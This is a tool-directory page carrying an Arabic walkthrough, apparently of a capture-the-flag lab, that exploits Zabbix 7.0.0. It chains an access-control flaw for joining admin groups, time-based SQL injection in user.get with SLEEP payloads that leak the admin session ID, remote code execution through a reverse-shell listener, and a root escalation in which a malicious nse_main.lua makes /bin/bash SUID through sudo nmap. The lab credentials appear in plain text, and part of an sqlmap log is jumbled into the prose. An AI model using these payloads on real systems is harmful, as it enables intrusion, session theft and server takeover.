Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-42327 — شرح cve-2024-42327 | Kitploit
أدوات/GitHubGitHub/igorbf495/cve-2024-42327
تصعيد الامتيازاتالاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubigorbf495/cve-2024-42327

CVE-2024-42327

منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

شرح cve-2024-42327

عرض المستودع

شرح ثغرة CVE-2024-42327 في Zabbix

الهدف: 10.129.231.176

معلومات: أعلم أن هدفي هو خادم Zabbix. حصلت على حساب مستخدم افتراضي لتسجيل الدخول إلى Zabbix: user matthew passwd 96qzn0h2e1k3. هذا الحساب بمستخدم افتراضي، بدون مجموعات أو صلاحيات إضافية.

كالعادة، نبدأ بالتعداد، سنقوم بفحص المنافذ باستخدام nmap.

image

يُظهر لنا ناتج nmap أن منفذ ssh الافتراضي و apache2 أيضًا على المنفذ الافتراضي. لدينا أيضًا المنفذان 10051 و 10050 يعمل عليهما بعض خدمات Zabbix.

دعنا نصل إلى Zabbix بوضع عنوان IP في رابط المتصفح وعلى منفذ http الافتراضي، المنفذ 80.

image

هذه هي شاشة تسجيل الدخول إلى Zabbix، سأقوم بتسجيل الدخول بالمستخدم الذي استلمته

image

image

في التذييل، وجدت إصدار Zabbix:

image

باستخدام جوجل، بحثت عما إذا كان هناك أي CVE لهذا الإصدار من Zabbix

image

بعد وقت طويل من البحث، رأيت أن هذا الإصدار عرضة لـ CVE-2024-42327 الذي يتحدث عن استغلال حقن SQL للحصول على بيانات قاعدة البيانات وتصعيد الامتيازات، و CVE-2024-36467 الذي يتحدث عن السماح بتغيير دور المستخدم إلى مستخدم خارق من خلال إساءة استخدام ضوابط الوصول المفقودة.

https://nvd.nist.gov/vuln/detail/CVE-2024-36467

https://nvd.nist.gov/vuln/detail/CVE-2024-42327

في توثيق Zabbix هناك شرح لكيفية إجراء طلبات HTTP لاستدعاء API.

image

https://www.zabbix.com/documentation/current/en/manual/api

أرسلت الطلب مستدعيًا appiinfo.version الذي يعلّمنا إياه في التوثيق

image

والذي أعاد إلينا التالي:

{"jsonrpc":"2.0","result":"7.0.0","id":1}

للاختبار التالي، غيّرت بعض المعاملات في هذا الطلب لإرساله مرة أخرى

image

في method، غيّرت من appinfo.version إلى user.login وأضفت المعاملين username و password. هذا أيضًا رأيته في توثيق Zabbix.

image

أعاد إلينا رمزًا (token):

{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}

بعد مزيد من وقت البحث، قررت الذهاب إلى مستودع Zabbix على GitHub

https://github.com/zabbix/zabbix

بحثت عن CUser ووجدت ملف CUser.php

image

وجدنا الدالة user.update:

root@kitploit:~
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}

لم أجد أي تحقق من الصلاحيات، لذلك قررت تغيير دوري إلى دور مستخدم خارق، عدت إلى الطلب وأجريت التعديلات على الحمولة

image

أعاد لي خطأ برسالة invalid params.

بعد مزيد من التحليل الطويل للكود وجدنا هذه الدالة

root@kitploit:~
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}

وفقًا لهذا المقتطف، لا يمكننا تغيير أدوارنا لأن دورنا يتم التحقق منه عن طريق استخراج بياناتنا من رمز API والتحقق في قاعدة البيانات مما إذا كنا هذا المستخدم. لكن بتحليل الكود، نرى أن usrgrps لا يحتوي على أي تحقق، ولهذا النقص في التحقق، يمكن إساءة استخدامه لإضافتنا إلى مجموعات متعددة دفعة واحدة. لا يوجد أي تحقق يمنع المستخدم من إضافة نفسه إلى مجموعات لا ينبغي أن يملك حق الوصول إليها.

لنحاول تصعيد الامتيازات بسبب غياب هذا التحقق، قمت بتعديل الحمولة (payload) وأرسلت الطلب مرة أخرى

image

userid 3 يشير إلى معرف المستخدم matthew
usrgrps يحتوي على قائمة بمعرفات المجموعات: 13 وهي مجموعة Internal و 7 وهي مجموعة Zabbix administrators. استجابة الخادم تؤكد نجاح العملية:

{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}

الآن يمكننا استخراج مجموعات المستخدمين للمستخدم الحالي. لنعدّل الطلب ونرسله مرة أخرى.

image

عند فحص الاستجابة، نرى أن المستخدم ذو المعرف 3 موجود في مجموعتي Internal و Zabbix administrators.

{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps": [{"usrgrpid":"7","name":"Zabbix administrators"}, {"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps": [{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps": [{"usrgrpid":"7","name":"Zabbix administrators"}, {"usrgrpid":"13","name":"Internal"}]}],"id":1}

في سيناريو حيث تم تعيين مجموعة Hosts صالحة لمجموعة Zabbix administrators، يمكنهم الاستفادة من إنشاء العناصر لتفعيل تنفيذ التعليمات البرمجية عن بُعد، وهو ما سيتم تناوله في CVE التالي.

استغلال CVE-2024-42327

بتحليل الكود المصدري في الفئة CUser مرة أخرى، فحصنا الدالة user.get في السطر 68. يحتوي السطر 108 على تحقق بالكود التالي:

root@kitploit:~
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
	if (!$options['editable']) {
		$sqlParts['from']['users_groups'] = 'users_groups ug';
		$sqlParts['where']['uug'] = 'u.userid=ug.userid';
		$sqlParts['where'][] = 'ug.usrgrpid IN ('.
		' SELECT uug.usrgrpid'.
		' FROM users_groups uug'.
		' WHERE uug.userid='.self::$userData['userid'].
		')';
	}
	else {
		$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
	}
}

من هذا الكود، إذا تم توفير الخيار editable في الطلب إلى API، فبدلاً من التحقق من مجموعة المستخدمين، سيتحقق الكود فقط مما إذا كان معرف المستخدم الحالي يطابق المستخدم الحالي، مما يتجاهل الصلاحيات عند استخدام الدالة user.get. في السطر 234، يتم استدعاء addRelatedObjects، وهي الدالة الضعيفة القابلة للحقن بـ SQL. بتحليل الدالة addRelatedObject في السطر 2969، نرى أن معظم عبارات SQL تبدو آمنة، حتى نصل إلى السطر 3041.

root@kitploit:~
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
	if ($options['selectRole'] === API_OUTPUT_EXTEND) {
		$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
	}
	$db_roles = DBselect(
		'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
		$options['selectRole']) : '').
		' FROM users u,role r'.
		' WHERE u.roleid=r.roleid'.
		' AND '.dbConditionInt('u.userid', $userIds)
	);
	foreach ($result as $userid => $user) {
		$result[$userid]['role'] = [];
	}
	while ($db_role = DBfetch($db_roles)) {
		$userid = $db_role['userid'];
		unset($db_role['userid']);
		$result[$userid]['role'] = $db_role;
	}
}
return $result;

في هذا الجزء، إذا تم تحديد الخيار selectRole، فسيتم إجراء استدعاء غير آمن للدالة DBSelect دون تعقيم مدخلات المستخدم. يؤدي هذا إلى حقن SQL أعمى زمني (Time-based) وأعمى منطقي (Boolean Blind).

لاختبار ذلك، أخذنا حمولة من هذا الرابط وتحققنا مما إذا كان لدينا نقطة حقن ناجحة في معاملات selectRole.

image

حققنا إصابة ناجحة وأصبح الهدف نائمًا لمدة 5 ثوانٍ.

root@kitploit:~
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%

باستخدام Charles Proxy اعترضنا الطلب وحفظناه في ملف بالطلب التالي:

image

الآن، باستخدام SQLMap، حاولنا تحديد الثغرات المحتملة واستخراج بيانات قاعدة البيانات:

image

بعد فترة، حصلنا على النتيجة التالية:

root@kitploit:~
available databases [2]:
[*] information_schema
[*] zabbix

وفقًا للمخرجات، نجحنا في الحصول على أسماء قواعد البيانات من خلال استغلال حقن SQL الزمني.

الآن دعونا نجرب الـ RCE (تنفيذ الأوامر عن بُعد)

يمكننا استخدام الوكلاء (agents) الذين تم ضبطهم بشكل خاطئ للحصول على تنفيذ عن بُعد للأوامر. للقيام بذلك من خلال حقن SQL الزمني، نحتاج إلى تسريب جدول الجلسات في قاعدة البيانات لمعرفة ما إذا كان مستخدم Admin قد تمت مصادقته. للأسف، نظرًا لأنه هجوم زمني، فقد يستغرق هذا بعض الوقت، لذلك أدرجت سكربت متعدد الخيوط يستخرج جلسة المسؤول بشكل أسرع لاستخدامها لاحقًا.

أصبحت الحمولة هكذا:

image

هذا حقن SQL متداخل زمني، حيث نقوم بحقن حمولتنا في معامل الاسم، مضيفين AND لربط الشرط.

root@kitploit:~
SELECT * FROM (SELECT(SLEEP(...)))BEEF

نستخدم شرط SELECT خارجي يغلّف شرط SLEEP في استعلام فرعي معنون باسم BEEF.

root@kitploit:~
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))

شرط IF [17:26:03] [INFO] تمديد الفواصل الزمنية تلقائيًا لاختبار تقنية حقن استعلام UNION، نظرًا لوجود تقنية أخرى (محتملة) على الأقل [17:26:04] [INFO] التحقق مما إذا كانت نقطة الحقن في معامل POST (المخصص) '#1*' إيجابية كاذبة. معامل POST (المخصص) '#1*' ضعيف. هل تريد متابعة اختبار الآخرين (إن وجدوا)؟ [s/N] n حدد sqlmap نقاط الحقن التالية بإجمالي 77 طلب HTTP: قواعد البيانات المتاحة [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) يتحقق مما إذا كان الحرف المستخرج يطابق حرف ASCII المتوقع (ord(char)). إذا تم استيفاء الشرط وتم تشغيل شرط SLEEP، فقد حددنا الحرف الصحيح ويمكننا تسريب sessionid المكون من 32 حرفًا

كتبت سكربت بلغة Python وقمت بتشغيله.

image

image

بعد تشغيل السكربت، نرى أننا حصلنا بنجاح على جلسة المسؤول في 30 ثانية فقط.

image

باستخدام رمز API الخاص بمستخدم Admin، يمكننا المتابعة لإنشاء عنصر ثم تشغيل العنصر عبر مهمة. أولاً، نحتاج إلى إنشاء العنصر، لكن نحتاج إلى الحصول على معرّفات المضيفين الحالية مع معرّفات الواجهات الخاصة بهم.

image

حصلنا على الاستجابة:

{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}

الآن يمكننا إنشاء عنصر بالحمولة التالية:

image

قبل الضغط على Enter في الحمولة، قمنا بإعداد مستمع nc على المنفذ 4448 وانتظرنا بضع ثوانٍ.

image

الآن حان وقت الضغط على Enter في الحمولة

image

نجح الأمر، تم إنشاء المهمة بحملنا الخبيث وحصلنا على RCE (تنفيذ الأوامر عن بُعد)، الآن لدينا وصول إلى الخادم.

image

الآن بعد أن حصلنا على وصول إلى الخادم، ننتقل إلى تصعيد الامتيازات، سنحاول الحصول على وصول root إلى الخادم

بما أننا مستخدم zabbix، دعونا نتحقق مما إذا كان يمكننا تنفيذ أي برنامج بصلاحيات sudo:

image

نرى أنه يمكننا تشغيل /usr/bin/nmap دون قيود. بعد فترة من البحث على الإنترنت، وجدت مشروع GTFOBins. GTFOBins هو مستودع يسرد الثنائيات الموجودة في أنظمة Unix/Linux والتي يمكن استخدامها بشكل إبداعي لتصعيد الامتيازات، والهروب من البيئات المقيدة (مثل chroot أو الحاويات)، وتنفيذ أوامر خبيثة.

image

https://gtfobins.github.io/gtfobins/nmap/#sudo

لنحاول استخدام أسلوب الهروب عبر sudo من GTFOBins.

image

يبدو أن Nmap محمي بواسطة سكربت غلاف (wrapper script)، وهو طبقة حماية إضافية تم تنفيذها للحد من استخدام الخيارات القابلة للاستغلال في Nmap. لنحاول قراءة الملف /usr/bin/nmap. سنفتحه باستخدام محرر النصوص nano ونحلل هذا الملف

image

بعد الكثير من البحث، رأيت أن جميع حيل GTFOBins عديمة الفائدة في هذا السيناريو. قاموا بتطبيق wrapper لحماية Nmap من الطرق الشائعة لتصعيد الامتيازات. نفدت خياراتي فذهبت لقراءة مكتبة nmap

بعد وقت طويل من القراءة وجدت شيئًا مثيرًا للاهتمام، الخيار --datadir.

https://nmap.org/book/data-files-replacing-data-files.html

يتيح لك هذا الخيار تحديد دليل بيانات حيث يتم تخزين السكربتات الافتراضية والعناصر الأساسية الأخرى لـ nmap، الافتراضي في هذه الحالة هو /usr/share/nmap. لنرَ صلاحيات هذا الملف:

image

بالبحث عن هذه الملفات، رأيت أن ملف nse_main.lua هو ملف السكربت الافتراضي الذي يمكن تشغيله بواسطة المعامل -sC، وهو ملف السكربت الرئيسي لمحرك Nmap Scripting Engine (NSE). يحتوي على دوال يتم تنفيذها عند استخدام Nmap مع الخيار -sC (فحص بالسكربتات الافتراضية). من خلال إنشاء سكربت خبيث بهذا الاسم، يمكن جعل Nmap ينفذه تلقائيًا. لاستغلال ذلك، سننشئ ملفًا جديدًا في /tmp/nse_main.lua يحتوي على os.execute("chmod 4755 /bin/bash").

أنشأت الملف nse_main.lua ويحتوي بداخله على الأمر os.execute("chmod 4755 /bin/bash").

4755: يضبط SUID (Set User ID) على الثنائي /bin/bash. يتيح ذلك لأي مستخدم يشغّل /bin/bash أن يتمتع بنفس صلاحيات مالك الملف، وهو root.

image

image

عند فحص localhost مع تفعيل -sC، قمنا بتعيين /bin/bash إلى SUID وإنشاء شل بمعرف المستخدم الفعّال للمستخدم root.

image

--datadir=/tmp: يجعل Nmap يبحث عن ملفات الإعداد والسكربتات الخاصة به في دليل /tmp. يتضمن ذلك السكربت الخبيث nse_main.lua.

-sC: يفعّل تنفيذ السكربتات الافتراضية، بما في ذلك السكربت الخبيث الذي أنشأناه للتو.

localhost: يجعل Nmap يقوم بالفحص على النظام نفسه.

يتم تنفيذ السكربت nse_main.lua بواسطة Nmap بصلاحيات root (لأن الأمر تم تنفيذه باستخدام sudo)

image

مع تفعيل SUID، يمكننا تنفيذ: /bin/bash -p

image

-p: يحافظ على بت SUID وينفذ bash بصلاحيات المالك (root).

image

uid=114: هوية المستخدم zabbix. euid=0: يعمل فعليًا كـ root.

الآن حصلنا على صلاحيات root.

تنزيل الأداة